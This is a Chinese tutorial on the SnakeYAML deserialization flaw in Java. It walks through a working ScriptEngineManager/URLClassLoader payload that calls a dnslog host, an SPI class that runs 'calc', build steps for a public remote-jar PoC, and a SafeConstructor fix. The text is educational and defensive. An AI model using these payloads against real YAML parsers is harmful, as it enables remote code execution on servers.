Java SnakeYaml 反序列化漏洞原理

目录

SnakeYaml

使用 SnakeYAML 序列化与反序列化

SnakeYAML 序列化实现

SnakeYAML 反序列化实现

SnakeYaml 反序列化漏洞

基于 ScriptEngineManager 利用链

漏洞原因分析

SPI 服务提供者发现机制

命令执行

漏洞修复


SnakeYaml

SnakeYAML 是一个用于 Java 语言的 YAML 解析库。YAML(YAML Ain't Markup Language)是一种人类可读的数据序列化标准,它通常被用来编写配置文件。SnakeYAML 提供了对 YAML 格式的解析和生成功能,支持将 YAML 文档转换成 Java 对象,以及将 Java 对象序列化为 YAML 格式。

使用 SnakeYAML 序列化与反序列化

idea 新建一个项目,构建系统时选择 Maven。然后在 pom.xml 中添加 SnakeYAML的依赖项

<dependencies><!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml --><dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>
</dependencies>

SnakeYAML 序列化实现

public class User {public String name;public void setName(String name) {this.name = name;}public String getName() {return name;}
}
import org.yaml.snakeyaml.Yaml;  //导入了SnakeYAML库中的Yaml类,该类提供了将Java对象转换为YAML字符串的功能public class SnakeYamlSerialize {  //定义了一个名为SankeYamlDemo的公共类public static void main(String[] args) {User user = new User();user.setName("zhangyun");Yaml yaml = new Yaml();   //创建了一个Yaml类的实例,用于执行序列化操作String dump = yaml.dump(user);  //使用Yaml对象的dump方法将user对象序列化为YAML格式的字符串System.out.println(dump);  //将序列化后的YAML字符串输出}
}

执行后显示 !!User {name: zhangyun} 。

  • 字符串以!!开头,这是YAML中的类型标记前缀。!!后面通常跟着的是对象的类名。
  • 提供的序列化结果字符串!!User {name: zhangyun}表示SnakeYAML库已经将一个User类的对象序列化为了YAML格式,该对象的name属性值为zhangyun。这是SnakeYAML库序列化Java对象时的默认格式。

SnakeYAML 反序列化实现

class User {public String name;// 无参构造函数  public User() {System.out.println("User构造函数");}// getter方法  public String getName() {System.out.println("User.getName");return name;}// setter方法  public void setName(String name) {System.out.println("User.setName");this.name = name;}// 重写toString方法方便输出  @Overridepublic String toString() {return "User{name='" + name + "'}";}
}  

反序列化

import org.yaml.snakeyaml.Yaml;public class SnakeYamlDeserialize {public static void main(String[] args) {// 原始YAML字符串String yamlString = "!!User {name: zhangyun}";// 创建Yaml对象Yaml yaml = new Yaml();User user2 = yaml.load(yamlString);  //直接从字符串加载 YAML 数据// 输出反序列化后的User对象System.out.println(user2);}
}

SnakeYaml 反序列化漏洞

因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

基于 ScriptEngineManager 利用链

修改反序列化的代码如下,即将yamlString 修改为

import org.yaml.snakeyaml.Yaml;public class SnakeYamlDeserialize {public static void main(String[] args) {// 原始YAML字符串String yamlString = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]\n";// 创建Yaml对象Yaml yaml = new Yaml();User user2 = yaml.load(yamlString);  //直接从字符串加载 YAML 数据// 输出反序列化后的User对象System.out.println(user2);}
}

执行

即可触发 dnslog

漏洞原因分析

为什么能触发 dnslog?

"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]";

  • !! 表示后面跟的是类名,指示解析器要从这个类实例化一个对象;
  • javax.script.ScriptEngineManager 这是Java中的一个类名,属于Java Scripting API的一部分。ScriptEngineManager类提供了对脚本引擎的访问,这些引擎可以用来执行Java支持的脚本语言(如JavaScript、Groovy等);
  • [] 方括号表示数组(或列表)。数组可以包含多个元素,这些元素可以是任何YAML支持的数据类型,包括其他数组、对象、字符串、数字等。方括号中的内容将作为参数传递给 其左边类的构造函数。
  • [[]] 这里的嵌套方括号表示一个数组的数组,即二维数组。在您的例子中,外层数组是URLClassLoader构造函数的参数,它期望得到一个URL对象的数组。内层数组则包含了一个URL对象。

所以

  • !!javax.script.ScriptEngineManager:这是一个类型标记,指示YAML解析器实例化一个javax.script.ScriptEngineManager对象。ScriptEngineManager是Java中用于管理脚本引擎的类。
  • [!!java.net.URLClassLoader [...]]:这是ScriptEngineManager构造函数的参数,表示要传递一个URLClassLoader对象。URLClassLoader是Java中用于从指定的URL加载类和资源的类加载器。
  • [[!!java.net.URL [\"http://o586dd.dnslog.cn\"]]]:这是URLClassLoader构造函数的参数,表示要加载的URL数组。在这个例子中,数组只包含一个元素,即远程URL http://o586dd.dnslog.cn

所以上面是一个特定格式的指令,旨在利用SnakeYAML解析器的功能来实例化Java对象并执行某些操作。

SPI 服务提供者发现机制

服务提供者发现机制(Service Provider Discovery Mechanism)通常也被称为SPI(Service Provider Interface)。SPI机制允许Java应用程序在不修改其源代码的情况下,通过发现和加载服务提供者来实现扩展。

1. 定义服务接口:

首先,需要定义一个服务接口 HelloSPI,这个接口定义了一个或多个方法,服务提供者需要实现这些方法。例如:

package inter;public interface HelloSPI {void sayHello();
}

2. 实现服务接口(服务提供者)

然后,你需要有一个或多个实现这个接口的类 TextHello 和 ImageHello。这些类就是服务提供者。它们需要实现HelloSPI接口中定义的方法。

package inter;
import java.io.IOException;public class TextHello implements HelloSPI {public TextHello() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void sayHello() {System.out.println("Text Hello");}
}
package inter;public class ImageHello implements HelloSPI {public void sayHello() {System.out.println("Image Hello");}
}

3. 创建服务提供者配置文件

在你的JAR包的META-INF/services目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名,在这个例子中是inter.HelloSPI)。

文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个。

4. 加载和使用服务提供者:

最后,在你的SPIDemo类中,你使用ServiceLoader来加载HelloSPI接口的服务提供者,并遍历它们来调用sayHello方法。

package inter;
import java.util.ServiceLoader;public class SPIDemo {public static void main(String[] args) {//1. ServiceLoader类的使用: ServiceLoader<HelloSPI>是Java内置的一个类,用于发现和加载服务提供者。这里的HelloSPI是一个接口,代表了我们想要使用的服务。//通过指定HelloSPI.class作为参数,ServiceLoader知道要查找哪个服务的提供者。//这行代码创建了一个ServiceLoader实例,它会根据HelloSPI接口去查找和加载所有可用的服务提供者。ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);//遍历服务提供者:ServiceLoader实现了Iterable接口,因此可以使用增强的for循环来遍历它找到的所有服务提供者。for (HelloSPI helloSPI : serviceLoader) {helloSPI.sayHello();}}
}

for (HelloSPI helloSPI : serviceLoader) { }在这个循环中,每次迭代,ServiceLoader都会尝试加载并实例化下一个可用的HelloSPI服务提供者。这里的“加载并实例化”过程是指:

  1. 加载ServiceLoader会根据服务提供者配置文件(通常位于META-INF/services目录下,文件名为接口的完全限定名)中的信息,找到服务提供者的类名,并尝试加载这个类。
  2. 实例化:一旦类被成功加载,ServiceLoader会使用这个类的无参构造函数来创建一个新的实例。这个新创建的实例随后被赋值给循环变量helloSPI,您就可以在循环体内使用这个实例了。

因此,每次循环迭代时,helloSPI变量都会引用一个新的HelloSPI实现类的实例。这些实例是根据服务提供者配置文件中的顺序来创建的。

执行后,由于TextHello 在实例化时会自动执行构造函数,从而触发其中的 calc 命令

命令执行

ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行。

该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

下载 poc:https://github.com/artsploit/yaml-payload

观察代码,可知 AwesomeScriptEngineFactory 类实现了 ScriptEngineFactory 接口

打包成 jar 文件

javac -source 8 -target 8 src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

运行即可弹窗

漏洞修复

修复方案:加入new SafeConstructor()类进行过滤

public class main {public static void main(String[] args) {String context = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml(new SafeConstructor());yaml.load(context);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/456366.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面试题:JVM(一)

1. JVM概述 1.1 JVM的生命周期 说说Java虚拟机的生命周期&#xff08;阿里&#xff09; 虚拟机的启动 Java虚拟机的启动是通过引导类加载器(bootstrap class loader)创建一个初始类(initial class)来完成的&#xff0c;这个类是由虚拟机的具体实现指定的。 虚拟机的退出有如下…

接口测试(九)jmeter——关联(JSON提取器)

一、JSON提取器介绍 要检查的响应字段&#xff1a;样本数据源引用名称&#xff1a;可自定义设置引用方法&#xff1a;${引用变量名}匹配数字 匹配数字含义-1表示全部0随机1第一个2第二个…以此类推 缺省值&#xff1a;匹配失败时的默认值ERROR&#xff0c;可以不写 二、js…

2024年双十一有什么好物推荐?盘点2024双十一爆款好物分享

第一款&#xff1a;希亦ACE内衣洗衣机 一句话点评&#xff1a;常出口欧美等多个国家&#xff0c;被超百家专业媒体评为“洗护一体技术之王”&#xff0c;妇科细菌除菌率达99.99%&#xff0c;清洁度高达99.8%&#xff01; CEYEE希亦是清洁领域的实力大牌子了&#xff0c;也是母…

老照片如何修复变清晰?手把手教你4种模糊照片变清晰方法!

在洋溢着温情的生日聚会上&#xff0c;家人们围坐一堂&#xff0c;总会情不自禁地翻阅那些尘封已久的老照片&#xff0c;一同沉醉于往昔的温情岁月。然而&#xff0c;时光荏苒&#xff0c;许多承载着深情厚意的照片已变得泛黄、模糊&#xff0c;难以再现昔日的清晰与鲜活。但请…

vue2 a-input输入框使用正则限制为数字、英文及中文,出现吞字符和英文字符打断问题

需求是输入框限制数字、英文和中文&#xff0c;原始使用的正则是&#xff1a; replace(/[^a-zA-Z0-9\u4E00-\u9FA5]/g,)1、使用这个正则表达式使用搜狗输入法没问题&#xff0c;使用微软自带输入法后会存在输入英文会吞并当前光标前的字符&#xff0c;也有英文打断问题。 输入…

2024年【制冷与空调设备安装修理】考试及制冷与空调设备安装修理最新解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 制冷与空调设备安装修理考试参考答案及制冷与空调设备安装修理考试试题解析是安全生产模拟考试一点通题库老师及制冷与空调设备安装修理操作证已考过的学员汇总&#xff0c;相对有效帮助制冷与空调设备安装修理最新解…

线上遇到的问题记录(说多了都是泪)

写在前面 我觉得&#xff0c;工作中最有价值的就是及遇到的问题了&#xff0c;特别时线上这种容易让人血压升高的环境中遇到的问题&#xff0c;本文就是记录这些血压升高时刻。 如果你遇到什么真实环境的问题&#xff0c;也欢迎评论或者私信分享给我&#xff01;&#xff01;&…

Angular 保姆级别教程高阶应用 - RxJs

RxJS 13.1.1 什么是 RxJS ? RxJS 是一个用于处理异步编程的 JavaScript 库&#xff0c;目标是使编写异步和基于回调的代码更容易。 13.1.2 为什么要学习 RxJS ? 就像 Angular 深度集成 TypeScript 一样&#xff0c;Angular 也深度集成了 RxJS。 服务、表单、事件、全局状…

经典功率谱估计的原理及MATLAB仿真(自相关函数BT法、周期图法、bartlett法、welch法)

经典功率谱估计的原理及MATLAB仿真&#xff08;自相关函数BT法、周期图法、bartlett法、welch法&#xff09; 文章目录 前言一、BT法二、周期图法三、Bartlett法四、welch法五、MATLAB仿真六、MATLAB详细代码总结 前言 经典功率谱估计方法包括BT法&#xff08;对自相关函数求傅…

基于Java的就业信息管理系统源码带本地搭建教程

技术框架&#xff1a;jQuery MySQL5.7 mybatis shiro Layui HTML CSs JS 运行环境&#xff1a;jdk8 IntelliJ IDEA maven3 宝塔面板 实现了就业信息管理、就业统计、用户管理等功能。有普通用户和管理员两种角色。

开源限流组件分析(三):golang-time/rate

文章目录 本系列前言提供获取令牌的API数据结构基础方法tokensFromDurationdurationFromTokensadvance 获取令牌方法reverseN其他系列API 令人费解的CancelAt是bug吗 取消后无法唤醒其他请求 本系列 开源限流组件分析&#xff08;一&#xff09;&#xff1a;juju/ratelimit开源…

智能AI监测系统燃气安全改造方案的背景及应用价值

随着燃气行业的迅速发展和城市化进程的加快&#xff0c;燃气安全管理成为企业运营和城市管理中不可忽视的关键领域。燃气泄漏、管道破损等事故的发生不仅会造成严重的经济损失&#xff0c;还威胁到人民生命财产安全。传统的安全管理方法往往依赖人工巡检和手动监测&#xff0c;…

如何写一个视频编码器演示篇

先前写过《视频编码原理简介》&#xff0c;有朋友问光代码和文字不太真切&#xff0c;能否补充几张图片&#xff0c;今天我们演示一下&#xff1a; 这是第一帧画面&#xff1a;P1&#xff08;我们的参考帧&#xff09; 这是第二帧画面&#xff1a;P2&#xff08;需要编码的帧&…

C2W4.LAB.Word_Embedding.Part2

理论课&#xff1a;C2W4.Word Embeddings with Neural Networks 文章目录 Training the CBOW modelForward propagationInitialization of the weights and biasesTraining exampleValues of the hidden layerValues of the output layerCross-entropy loss BackpropagationGr…

大家都在用的HR招聘管理工具:国内Top5排名

招聘管理工具是专为HR及招聘团队设计的数字化助手&#xff0c;旨在简化招聘流程&#xff0c;提高效率。众所周知&#xff0c;招聘管理工具通常集成简历收集、筛选、面试安排、候选人跟踪等功能于一体&#xff0c;让招聘过程更加流畅。使用招聘管理工具&#xff0c;不仅能节省时…

高边坡稳定安全监测预警系统解决方案

一、项目背景 高边坡的滑坡和崩塌是一种常见的自然地质灾害&#xff0c;一但发生而没有提前预告将给人民的生命财产和社会危害产生严重影响。对高边坡可能产生的灾害提前预警、必将有利于决策者采取应对措施、减少和降低灾害造成的损失。现有的高边坡监测技术有人工巡查和利用测…

100个候选人,没一个能讲明白什么是自动化框架?

什么是自动化测试框架 01 什么是框架 框架是整个或部分系统的可重用设计&#xff0c;表现为一组抽象构件及构件实例间交互的方法。它规定了应用的体系结构&#xff0c;阐明了整个设计、协作构件之间的依赖关系、责任分配和控制流程&#xff0c;表现为一组抽象类以及其实例之间…

格姗知识圈博客网站开源了!

格姗知识圈博客 一个基于 Spring Boot、Spring Security、Vue3、Element Plus 的前后端分离的博客网站&#xff01;本项目基本上是小格子一个人开发&#xff0c;由于工作和个人能力原因&#xff0c;部分技术都是边学习边开发&#xff0c;特别是前端&#xff08;工作中是后端开…

MySQL~表的操作(创建表,查看表,修改表,删除表)

1.创建表 1.1.创建表 首先要选择需要操作的数据库&#xff0c;USE 数据库名&#xff0c;后续可以根据实际情况操作时添加。 USE fruitsales;建表语法&#xff1a; create table 表名( 字段名1 数据类型, 字段名2 数据类型, ); 实例&#xff1a;创建fruit_bak1表。 create t…

[linux]软件安装

安装方式 二进制发布包安装: 软件已经针对具体平台编译打包发布&#xff0c;只要解压修改配置即可 rpm安装: 软件已经按照redhat的包管理规范进行打包, 使用rpm命令进行安装&#xff0c;不能自行解决库依赖问题 yum安装: 一种在线软件安装方式, 本质上还是rpm安装, 自动下载…